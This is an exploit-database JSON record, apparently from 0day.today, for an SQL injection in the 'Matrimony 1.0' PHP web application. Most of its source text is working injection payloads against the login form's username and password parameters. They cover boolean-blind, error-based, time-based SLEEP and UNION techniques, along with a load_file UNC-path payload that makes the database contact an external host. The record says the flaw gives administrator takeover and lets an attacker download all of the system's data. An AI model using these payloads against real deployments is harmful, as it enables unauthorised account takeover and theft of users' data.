{"id": "1337DAY-ID-37445", "vendorId": null, "type": "zdt", "bulletinFamily": "exploit", "title": "Matrimony 1.0 SQL injection Vulnerability", "description": "", "published": "2022-03-05T00:00:00", "modified": "2022-03-05T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://0day.today/exploit/description/37445", "reporter": "nu11secur1ty", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2022-04-11T23:47:59", "viewCount": 74, "enchantments": {"score": {"value": 0.4, "vector": "NONE"}, "vulnersScore": 0.4}, "_state": {"dependencies": 0}, "_internal": {}, "sourceHref": "https://0day.today/exploit/37445", "sourceData": "## Title: Matrimony 1.0 SQLi \n## Author: nu11secur1ty\n## Vendor: https://www.vetbossel.in/matrimony-project-php/\n## Software: https://cutt.ly/LOHzKd0, https://www.vetbossel.in/matrimony-project-php/\n## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/vetbossel.in/2022/Matrimony\n\n## Description:\nThe password parameter appears to be vulnerable to SQL injection attacks. \nThe payload '+(select load_file('\\\\\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\\\qou'))+' was submitted in the password parameter. \nThis payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. \nThe application interacted with that domain, indicating that the injected SQL query was executed. \nThe attacker can take administrator account control and also of all accounts on this system, \nalso the malicious user can download all information about this system.\n\nStatus: CRITICAL\n\n[+] Payloads:\n\n```mysql\n\n---\nParameter: username (POST)\n Type: boolean-based blind\n Title: OR boolean-based blind - WHERE or HAVING clause\n Payload: username=-5824' OR 4197=4197-- jrsh&password=i0C!o0b!U4'+(select load_file('\\\\\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\\\qou'))+'&op=Log in\n\n Type: error-based\n Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)\n Payload: username=VbMOEEMf' AND (SELECT 2589 FROM(SELECT COUNT(*),CONCAT(0x7178706b71,(SELECT (ELT(2589=2589,1))),0x71706a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gXFR&password=i0C!o0b!U4'+(select load_file('\\\\\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\\\qou'))+'&op=Log in\n\n Type: time-based blind\n Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n Payload: username=VbMOEEMf' AND (SELECT 4030 FROM (SELECT(SLEEP(5)))ciQI)-- nHot&password=i0C!o0b!U4'+(select load_file('\\\\\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\\\qou'))+'&op=Log in\n\n Type: UNION query\n Title: Generic UNION query (NULL) - 1 column\n Payload: username=-4629' UNION ALL SELECT CONCAT(0x7178706b71,0x505747504a524d546e7842785156787361686c546c6e695873646952794a545770586447467a4d6b,0x71706a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&password=i0C!o0b!U4'+(select load_file('\\\\\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\\\qou'))+'&op=Log in\n---\n\n```\n\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/vetbossel.in/2022/Matrimony)\n\n## Proof and Exploit:\n[href](https://streamable.com/7gggih)\n", "category": "web applications", "verified": true}